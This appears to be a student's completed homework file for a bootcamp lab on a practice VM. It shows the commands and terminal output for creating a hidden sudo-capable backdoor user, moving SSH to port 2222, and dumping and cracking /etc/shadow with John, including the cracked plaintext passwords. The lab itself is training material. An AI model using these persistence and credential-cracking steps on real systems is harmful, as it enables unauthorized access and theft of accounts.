

# Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

## Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

*adduser --no-create-home --uid 800 sysd*

```
root:~\ $ adduser --no-create-home --uid 800 sysd
Adding user `sysd' ...
Adding new group `sysd' (800) ...
Adding new user `sysd' (800) with group `sysd' ...
Not creating home directory `/home/sysd'.
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for sysd
Enter the new value, or press ENTER for the default
    Full Name []: sysd
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
root:~\ $ id sysd
uid=800(sysd) gid=800(sysd) groups=800(sysd)
root:~\ $ cd /home/sysadmin
root:~\ $ cd ..
root:home\ $ ls
babbage  lovelace  mitnik    stallman  student  sysadmin  turing    vagrant
root:home\ $
```

```
root:~\ $ id sysd
uid=800(sysd) gid=800(sysd) groups=800(sysd)
```

2. Give your secret user a password:  
sysd password - sysd1234

3. Give your secret user a system UID < 1000:

```
root:~\ $ id sysd
uid=800(sysd) gid=800(sysd) groups=800(sysd)
```

4. Give your secret user the same GID:

```
root:~\ $ id sysd
uid=800(sysd) gid=800(sysd) groups=800(sysd)
```

5. Give your secret user full sudo access without the need for a password:

```
usermod -aG sudo sysd
root:~\ $ usermod -aG sudo sysd
root:~\ $ groups sysd
sysd : sysd sudo
```

6. Test that sudo access works without your password:

*sudo -l*

```
sysd@scavenger-hunt:/home/sysadmin$ sudo -l
Matching Defaults entries for sysd on scavenger-hunt:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysd may run the following commands on scavenger-hunt:
    (ALL : ALL) ALL
```

## Step 2: Smooth Sailing

1. Edit the sshd\_config file:  
*nano /etc/ssh/sshd\_config*  
*Port 2222*

```
GNU nano 2.9.3 /etc/ssh/sshd_config

$OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

#Port 22
Port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
```

## Step 3: Testing Your Configuration Update

1. Restart the SSH service:

```
service ssh restart
```

```
service ssh status
```

```
root:~\ $ nano /etc/ssh/sshd_config
root:~\ $ service ssh restart
root:~\ $ service ssh status
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
   Active: active (running) since Mon 2021-01-18 18:45:44 UTC; 12s ago
     Process: 1480 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
    Main PID: 1491 (sshd)
      Tasks: 1 (limit: 1108)
     CGroup: /system.slice/ssh.service
            └─1491 /usr/sbin/sshd -D

Jan 18 18:45:44 scavenger-hunt systemd[1]: Starting OpenBSD Secure Shell server...
Jan 18 18:45:44 scavenger-hunt sshd[1491]: Server listening on 0.0.0.0 port 2222.
Jan 18 18:45:44 scavenger-hunt sshd[1491]: Server listening on :: port 2222.
Jan 18 18:45:44 scavenger-hunt systemd[1]: Started OpenBSD Secure Shell server.
```

2. Exit the root account:

```
root:~\ $ exit
exit
sysadmin:~\ $ exit
logout
Connection to 192.168.6.105 closed.
sysadmin@UbuntuDesktop:~$
```

- SSH to the target machine using your sysd account and port 2222:

*ssh sysd@192.168.6.105 -p 2222*

```
sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222
sysd@192.168.6.105's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Mon Jan 18 18:50:13 UTC 2021

System load:  0.0               Processes:            89
Usage of /:   49.2% of 9.78GB   Users logged in:     0
Memory usage: 16%              IP address for enp0s3: 10.0.2.15
Swap usage:   0%               IP address for enp0s8: 192.168.6.105

 * Introducing self-healing high availability clusters in MicroK8s.
   Simple, hardened, Kubernetes for production, from RaspberryPi to DC.

   https://microk8s.io/high-availability

201 packages can be updated.
151 updates are security updates.

New release '20.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

sysd@scavenger-hunt:~$
```

- Use sudo to switch to the root user  
*sudo su*



```
sysd@scavenger-hunt:/$ sudo su
[sudo] password for sysd:

You found flag_7:$1$zmr05X2t$Qf0deJVDpph5pBPpVL6oy0

root@scavenger-hunt:/#
```

#### Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:

```
sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222
sysd@192.168.6.105's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Mon Jan 18 18:50:13 UTC 2021

System load:  0.0               Processes:            89
Usage of /:   49.2% of 9.78GB   Users logged in:     0
Memory usage: 16%              IP address for enp0s3: 10.0.2.15
Swap usage:   0%               IP address for enp0s8: 192.168.6.105

 * Introducing self-healing high availability clusters in MicroK8s.
   Simple, hardened, Kubernetes for production, from RaspberryPi to DC.

   https://microk8s.io/high-availability

201 packages can be updated.
151 updates are security updates.

New release '20.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

sysd@scavenger-hunt:~$
```

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:  
*cat /etc/shadow > unshadow*

*john unshadow*

```
root@scavenger-hunt:/etc# john unshadow
Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
sysd1234      (sysd)
computer     (stallman)
freedom      (babbage)
trustno1     (mitnik)
dragon       (lovelace)
lakers       (turing)
passw0rd     (sysadmin)
Goodluck!    (student)
8g 0:00:05:11 100% 2/3 0.02568g/s 360.2p/s 369.2c/s 369.2C/s Missy!..Jupiter!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```